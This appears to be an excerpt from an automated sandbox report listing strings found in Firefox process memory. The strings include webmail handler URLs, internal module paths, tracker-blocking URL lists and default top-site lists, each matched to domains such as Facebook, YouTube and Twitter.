FIXUP_FLAG_FORCE_ALTERNATE_URIhttps://e.mail.ru/cgi-bin/sentmsg?mailto=%sextractScheme/fixupChangedProtocol<@mozilla.org/uriloader/local-handler-app;1@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/JSONFile.sys.mjsisDownloadsImprovementsAlreadyMigrated_finalizeInternal/this._finalizePromise<https://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/NetUtil.sys.mjsresource://gre/modules/FileUtils.sys.mjshttps://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/FileUtils.sys.mjs@mozilla.org/network/simple-stream-listener;1newChannel requires a single object argumentSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULL@mozilla.org/network/input-stream-pump;1Non-zero amount of bytes must be specifiedhttps://mail.yahoo.co.jp/compose/?To=%shttps://mail.yandex.ru/compose?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/intl/converter-input-stream;1@mozilla.org/network/async-stream-copier;1Must have a source and a callbackhttps:
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA855D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA855D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: aV!https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: current application version: RestartOnLastWindowClosed.#maybeRestartBrowser - Unexpectedly attempted to restart when RestartOnLastWindowClosed ought to be disabled! (not restarting)Selects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.moz-extension://9eeed604-9883-4846-a688-8a355e52e697/selector/callBackground.jsmoz-extension://6edd4cbe-8a9f-4158-beca-90f5feba9c8c/lib/about_compat_broker.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: current application version: RestartOnLastWindowClosed.#maybeRestartBrowser - Unexpectedly attempted to restart when RestartOnLastWindowClosed ought to be disabled! (not restarting)Selects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.moz-extension://9eeed604-9883-4846-a688-8a355e52e697/selector/callBackground.jsmoz-extension://6edd4cbe-8a9f-4158-beca-90f5feba9c8c/lib/about_compat_broker.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: current application version: RestartOnLastWindowClosed.#maybeRestartBrowser - Unexpectedly attempted to restart when RestartOnLastWindowClosed ought to be disabled! (not restarting)Selects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.moz-extension://9eeed604-9883-4846-a688-8a355e52e697/selector/callBackground.jsmoz-extension://6edd4cbe-8a9f-4158-beca-90f5feba9c8c/lib/about_compat_broker.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC8E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3018091700.000002AEAD71C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/U equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3226989797.0000215661004000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/xQ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: media.gmp-manager.cert.requireBuiltIn://web-assets.toggl.com/app/assets/scripts/.js://libs.coremetrics.com/eluminate.js://connect.facebook.net//sdk.js://connect.facebook.net//all.jsresource://gre/modules/addons/XPIProvider.jsmhttps://smartblock.firefox.etp/play.svg://static.chartbeat.com/js/chartbeat_video.js://.imgur.com/js/vendor..bundle.js://www.everestjs.net/static/st.v3.js*resource://gre/modules/FileUtils.sys.mjs@mozilla.org/network/atomic-file-output-stream;1@mozilla.org/network/safe-file-output-stream;1background-script-suspend-canceled equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: webcompat-reporter%40mozilla.org:1.5.1://pub.doubleverify.com/signals/pub.js@mozilla.org/network/file-output-stream;1FileUtils_openAtomicFileOutputStream://c.amazon-adsystem.com/aax2/apstag.js://auth.9c9media.ca/auth/main.js://track.adform.net/serving/scripts/trackpoint/://cdn.branch.io/branch-latest.min.js*://static.chartbeat.com/js/chartbeat.js://static.criteo.net/js/ld/publishertag.jsFileUtils_closeAtomicFileOutputStream://www.rva311.com/static/js/main..chunk.js@mozilla.org/addons/addon-manager-startup;1FileUtils_openSafeFileOutputStreampictureinpicture%40mozilla.org:1.0.0webcompat-reporter@mozilla.org.xpihttps://smartblock.firefox.etp/facebook.svgFileUtils_closeSafeFileOutputStream://.imgur.io/js/vendor..bundle.js://www.google-analytics.com/analytics.js*://cdn.adsafeprotected.com/iasPET.1.js://imasdk.googleapis.com/js/sdkloader/ima3.js://adservex.media.net/videoAds.js://www.google-analytics.com/gtm/js://www.google-analytics.com/plugins/ua/ec.js://ssl.google-analytics.com/ga.js://cdn.optimizely.com/public/.js://www.googletagmanager.com/gtm.js://pagead2.googlesyndication.com/tag/js/gpt.js://static.adsafeprotected.com/iasPET.1.js://.vidible.tv//vidible-min.js*://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/advancedLinkTracking.js://s.webtrends.com/js/webtrends.min.js://.moatads.com//moatheader.js://www.googletagservices.com/tag/js/gpt.js://s.webtrends.com/js/webtrends.js://s0.2mdn.net/ins